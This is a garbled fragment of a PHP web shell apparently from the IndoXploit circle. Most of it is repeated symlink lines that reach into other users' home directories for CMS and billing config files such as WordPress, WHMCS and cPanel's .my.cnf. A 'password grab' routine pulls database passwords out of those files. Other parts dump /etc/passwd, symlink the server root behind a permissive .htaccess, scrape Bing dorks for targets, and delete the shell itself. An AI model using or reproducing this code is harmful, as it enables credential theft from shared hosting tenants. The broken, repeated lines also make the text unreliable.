@symlink('/home5/'.
@symlink('/home5/'.
@symlink('/home5/'.
Hostbills.txt');
@symlink('/home5/'.
Popoji.txt');
//home6
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
$user.'-MyBB.txt');
@symlink('/home6/'.
@symlink('/home6/'.
OsCommerce.txt');
@symlink('/home6/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home6/'.
OsCommerce.txt');
@symlink('/home6/'.
OsCommerce.txt');
@symlink('/home6/'.
OsCommerce.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
WHMCS.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
WHMCS.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
WHMCS.txt');
@symlink('/home6/'.
WHMCS.txt');
@symlink('/home6/'.
WHMCS.txt');
@symlink('/home6/'.
WHMCS.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
WHMCS.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
WHMCS.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
BoxBilling.txt');
@symlink('/home6/'.
@symlink('/home6/'.
Zencart.txt');
@symlink('/home6/'.
Zencart.txt');
@symlink('/home6/'.
Zencart.txt');
@symlink('/home6/'.
Zencart.txt');
@symlink('/home6/'.
@symlink('/home6/'.
Hostbills.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
Hostbills.txt');
@symlink('/home6/'.
Hostbills.txt');
@symlink('/home6/'.
Hostbills.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
Hostbills.txt');
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
@symlink('/home6/'.
Hostbills.txt');
@symlink('/home6/'.
Popoji.txt');
//home 7
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
$user.'-MyBB.txt');
@symlink('/home7/'.
@symlink('/home7/'.
OsCommerce.txt');
@symlink('/home7/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home7/'.
OsCommerce.txt');
@symlink('/home7/'.
OsCommerce.txt');
@symlink('/home7/'.
OsCommerce.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
WHMCS.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
WHMCS.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
WHMCS.txt');
@symlink('/home7/'.
WHMCS.txt');
@symlink('/home7/'.
WHMCS.txt');
@symlink('/home7/'.
WHMCS.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
WHMCS.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
WHMCS.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
BoxBilling.txt');
@symlink('/home7/'.
@symlink('/home7/'.
Zencart.txt');
@symlink('/home7/'.
Zencart.txt');
@symlink('/home7/'.
Zencart.txt');
@symlink('/home7/'.
Zencart.txt');
@symlink('/home7/'.
@symlink('/home7/'.
Hostbills.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
Hostbills.txt');
@symlink('/home7/'.
Hostbills.txt');
@symlink('/home7/'.
Hostbills.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
Hostbills.txt');
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
@symlink('/home7/'.
Hostbills.txt');
@symlink('/home7/'.
Popoji.txt');
//home 8
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
$user.'-MyBB.txt');
@symlink('/home8/'.
@symlink('/home8/'.
OsCommerce.txt');
@symlink('/home8/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home8/'.
OsCommerce.txt');
@symlink('/home8/'.
OsCommerce.txt');
@symlink('/home8/'.
OsCommerce.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
WHMCS.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
WHMCS.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
WHMCS.txt');
@symlink('/home8/'.
WHMCS.txt');
@symlink('/home8/'.
WHMCS.txt');
@symlink('/home8/'.
WHMCS.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
WHMCS.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
WHMCS.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
BoxBilling.txt');
@symlink('/home8/'.
@symlink('/home8/'.
Zencart.txt');
@symlink('/home8/'.
Zencart.txt');
@symlink('/home8/'.
Zencart.txt');
@symlink('/home8/'.
Zencart.txt');
@symlink('/home8/'.
@symlink('/home8/'.
Hostbills.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
Hostbills.txt');
@symlink('/home8/'.
Hostbills.txt');
@symlink('/home8/'.
Hostbills.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
Hostbills.txt');
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
@symlink('/home8/'.
Hostbills.txt');
@symlink('/home8/'.
Popoji.txt');
//home 9
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
$user.'-MyBB.txt');
@symlink('/home9/'.
@symlink('/home9/'.
OsCommerce.txt');
@symlink('/home9/'.
igure.php',$user.'-
OsCommerce.txt');
@symlink('/home9/'.
OsCommerce.txt');
@symlink('/home9/'.
OsCommerce.txt');
@symlink('/home9/'.
OsCommerce.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
WHMCS.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
WHMCS.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
WHMCS.txt');
@symlink('/home9/'.
WHMCS.txt');
@symlink('/home9/'.
WHMCS.txt');
@symlink('/home9/'.
WHMCS.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
WHMCS.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
WHMCS.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
BoxBilling.txt');
@symlink('/home9/'.
@symlink('/home9/'.
Zencart.txt');
@symlink('/home9/'.
Zencart.txt');
@symlink('/home9/'.
Zencart.txt');
@symlink('/home9/'.
Zencart.txt');
@symlink('/home9/'.
@symlink('/home9/'.
Hostbills.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
Hostbills.txt');
@symlink('/home9/'.
Hostbills.txt');
@symlink('/home9/'.
Hostbills.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
Hostbills.txt');
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
@symlink('/home9/'.
Hostbills.txt');
@symlink('/home9/'.
Popoji.txt');
//home 10
@symlink('/home10/'.
$user.'-MyBB.txt');
OsCommerce.txt');
igure.php',$user.'-
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
OsCommerce.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
WHMCS.txt');
BoxBilling.txt');
Zencart.txt');
Zencart.txt');
Zencart.txt');
Zencart.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
Hostbills.txt');
$user.'/.my.cnf',$user.'-Cpanel.txt');
Popoji.txt');
}
//password grab
function entre2v2($text,
$marqueurDebutLien,
$marqueurFinLien)
{
$ar0=explode($marqueurDebutLien,
$text);
$ar1=explode($marqueurFinLien,
$ar0[1]);
$ar=trim($ar1[0]);
return $ar;
}
$ffile=fopen('Passwords.txt','a+');
$r= 'http://'.
$_SERVER['SERVER_NAME'].dirna
me($_SERVER['SCRIPT_NAME'])."/
c7e_symconf/";
$re=$r;
$confi=array("-Wordpress.txt","-
Joomla.txt","-WHMCS.txt","-
Vbulletin.txt","-Other.txt","-
Zencart.txt","-Hostbills.txt","-
SMF.txt","-Drupal.txt","-
OsCommerce.txt","-MyBB.txt","-
PHPBB.txt","-IPB.txt","-
BoxBilling.txt");
$users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
$usersss=$str[0];
foreach($confi as $co)
{
$uurl=$re.$usersss.$co;
$uel=$uurl;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,
$uel);
curl_setopt($ch,
CURLOPT_HEADER, 1);
curl_setopt($ch,
CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,
CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch,
CURLOPT_USERAGENT,
'Mozilla/5.0 (Windows; U; Windows
NT 5.1; en-US; rv:1.9.0.8)
Gecko/2009032609 Firefox/3.0.8');
$result['EXE'] = curl_exec($ch);
curl_close($ch);
$uxl=$result['EXE'];
if($uxl &&
preg_match('/table_prefix/i',$uxl))
{
//Wordpress
$dbp=entre2v2($uxl,"DB_PASSWO
RD', '","');");
if(!empty($dbp))
$pass=$dbp."\n";
fwrite($ffile,$pass);
}
elseif($uxl &&
preg_match('/cc_encryption_hash/i'
,$uxl))
{
//WHMCS
$dbp=entre2v2($uxl,"db_password
= '","';");
if(!empty($dbp))
$pass=$dbp."\n";
}
elseif($uxl &&
preg_match('/dbprefix/i',$uxl))
{
//Joomla
$db=entre2v2($uxl,"password =
'","';");
if(!empty($db))
$pass=$db."\n";
}
elseif($uxl &&
preg_match('/admincpdir/i',$uxl))
{
//Vbulletin
$db=entre2v2($uxl,"password'] =
'","';");
if(!empty($db))
$pass=$db."\n";
}
elseif($uxl &&
preg_match('/DB_DATABASE/i',
$uxl))
{
//Other
$db=entre2v2($uxl,"DB_PASSWOR
D', '","');");
if(!empty($db))
$pass=$db."\n";
}
elseif($uxl &&
preg_match('/dbpass/i',$uxl))
{
//Other
$db=entre2v2($uxl,"dbpass =
'","';");
if(!empty($db))
$pass=$db."\n";
}
elseif($uxl &&
{
//Other
$db=entre2v2($uxl,"dbpass =
'","';");
if(!empty($db))
$pass=$db."\n";
}
elseif($uxl &&
{
//Other
$db=entre2v2($uxl,"dbpass
= \"","\";");
if(!empty($db))
$pass=$db."\n";
}
}
}
echo "<center>
<a href=\"c7e_symconf/root/\">Root
Server</a>
<br><a
href=\"c7e_symconf/Passwords.txt\
">Passwords</a>
<br><a
href=\"c7e_symconf/\">Configuratio
ns</a></center>";
}
else
{
echo "<center>
<form method=\"POST\">
<textarea name=\"passwd\"
class='area' rows='15' cols='60'>";
$file = '/etc/passwd';
$read = @fopen($file, 'r');
if ($read){
$body = @fread($read,
@filesize($file));
echo "".htmlentities($body)."";
}
elseif(!$read)
{
$read = @show_source($file) ;
}
elseif(!$read)
{
$read = @highlight_file($file);
}
elseif(!$read)
{
for($uid=0;$uid<1000;$uid++)
{
$ara = posix_getpwuid($uid);
if (!empty($ara))
{
while (list ($key, $val) = each($ara))
{
print "$val:";
}
print "\n";
}}}
flush();
echo "</textarea>
<p><input name=\"m\" size=\"80\"
value=\"Start\"
type=\"submit\"/></p>
</form></center>";
}
}
} elseif(isset($_GET['con7ext']) &&
($_GET['con7ext'] == 'bing'))
{ @ini_set('output_buffering',0);
?>
<head>
<style type="text/css">
textarea {
width: 500px;
height: 250px;
border: 1px solid #000000;
margin: 5px auto;
padding: 7px;
}
input[type=text] {
padding-left: 7px;
width: 250px;
height: 25px;
border: 1px solid #000000;
background: blue;
margin: 5px auto;
}
</style>
</head>
<center><form method="post">
Bing Dork: <input type="text"
name="dork" placeholder="dork"
required>
<input type="submit" name="go"
value=">>">
</form>
<?php
// coded by Mr. Magnom
// Re-Coded to Web Based by Mr.
Error 404 - IndoXploit
// greetz to Mr. Magnom - Sanjungan
Jiwa
function getsource($url, $proxy) {
$curl = curl_init($url);
curl_setopt($curl,
CURLOPT_USERAGENT,
$_SERVER['HTTP_USER_AGENT']);
curl_setopt($curl,
if($proxy) {
$proxy = explode(':',
autoprox());
curl_setopt($curl,
CURLOPT_PROXY, $proxy[0]);
curl_setopt($curl,
CURLOPT_PROXYPORT,
$proxy[1]);
}
$content = curl_exec($curl);
curl_close($curl);
return $content;
}
$dork =
htmlspecialchars($_POST['dork']);
$do = urlencode($dork);
if(isset($_POST['go'])) {
$npage = 1;
$npages = 30000;
$allLinks = array();
$lll = array();
while($npage <= $npages) {
$x =
getsource("http://www.bing.com/se
arch?q=".$do."&first=".$npage."",
$proxy);
if($x) {
preg_match_all('#<h2><a
href="(.*?)" h="ID#', $x, $findlink);
foreach ($findlink[1] as $fl)
array_push($allLinks, $fl);
$npage = $npage + 10;
if (preg_match("(first=" .
$npage . "&amp)siU", $x, $linksuiv)
== 0) break;
} else break;
}
$URLs = array();
foreach($allLinks as $url){
$exp = explode("/", $url);
$URLs[] = $exp[2];
}
$array = array_filter($URLs);
$array = array_unique($array);
$sss =
count(array_unique($array));
echo "ToTaL SiTe : $sss<br>";
foreach($array as $domain) {
echo "http://$domain/<br>";
}
}
}elseif($_GET['con7ext'] == 'info') {
echo '<br><table width="700"
align="center">
<tr><td>
<center>
System : '.$sys.'<br>
IP : '.$ip.'<br>
Safe Mode : '.$sm.'<br>
Disabled Functions : '.$ds.'<br>
Home_root : '.$home_r.'
</center>
</td></tr>
</table>';
}elseif($_GET['con7ext'] == 'kill') {
$fileini =
$_SERVER['SCRIPT_FILENAME'];
rmdir('c7e_sym');rmdir('c7e_conf');
unlink($fileini);
echo 'Good By User :)';
}
elseif($_GET['con7ext'] ==
'symlink') {
$full =
str_replace($_SERVER['DOCUMEN
T_ROOT'], "", $path);
$d0mains =
@file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("c7e_sym",0777);
@chdir("c7e_sym");
@exe("ln -s / c7e");
$file3 = 'Options Indexes
FollowSymLinks
DirectoryIndex c7e.htm
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 =
fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1
style='width:60%;border-
color:#333333;'>
<tr>
<td align=center><font size=2>S.
No.</font></td>
<td align=center><font
size=2>Domains</font></td>
size=2>Users</font></td>
size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main))
{preg_match_all('#zone "(.*)"#',
$d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user =
liases/".$domains[1][0]));
echo "<tr align=center><td><font
size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".
$domains[1][0]."/><font class=txt>".
$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='c7e_sym/c7e/home/".
$user['name']."/public_html'
target='_blank'><font
class=txt>Symlink</font></a></td><
/tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("c7e_sym",0777);
@chdir("c7e_sym");
exe("ln -s / c7e");
$file3 = 'Options Indexes
FollowSymLinks
Satisfy Any';
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "
<table align=center border=1><tr>
<td align=center><font size=3>S.
No.</font></td>
size=3>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or
exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s,
$matches);
$matches = str_replace("home/","",
$matches[1]);
if(strlen($matches) > 12 ||
strlen($matches) == 0 || $matches
== "bin" || $matches == "etc/X11/fs"
|| $matches == "var/lib/nfs" ||
$matches == "var/arpwatch" ||
$matches == "var/gopher" ||
$matches == "sbin" || $matches ==
"var/adm" || $matches ==
"usr/games" || $matches ==
"var/ftp" || $matches == "etc/ntp" ||
$matches == "var/www" || $matches
== "var/named")
continue;
echo "<tr><td align=center><font
size=2>" . $dcount . "</td>
class=txt>" . $matches . "</td>";
echo "<td align=center><font
class=txt><a
href=c7e_sym/c7e/home/" .
$matches . "/public_html
target='_blank'>Symlink</a></td></t
r>";
$dcount++;}fclose($file);
echo "</table>";}else{if($os !=
"Windows")
{@mkdir("c7e_sym",0777);@chdir("
c7e_sym");@exe("ln -s / c7e");$file3
='
Options Indexes FollowSymLinks
Satisfy Any
';
$fw3 =
fwrite($fp3,$file3);@fclose($fp3);
echo "
<div class='mybox'><h2
class='k2ll33d2'>server
symlinker</h2>
<table align=center border=1><tr>
size=3>ID</font></td>
size=3>Symlink</font></td></tr>";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid =
@posix_getpwuid($val1);
if ($uid)$temp .= join(':',$uid)."\n";}
echo '<br/>';$temp = trim($temp);
$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable
to open file!");
while(!feof($file)){$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s,
$matches);$matches =
str_replace("home/","",
$matches[1]);
if(strlen($matches) > 12 ||
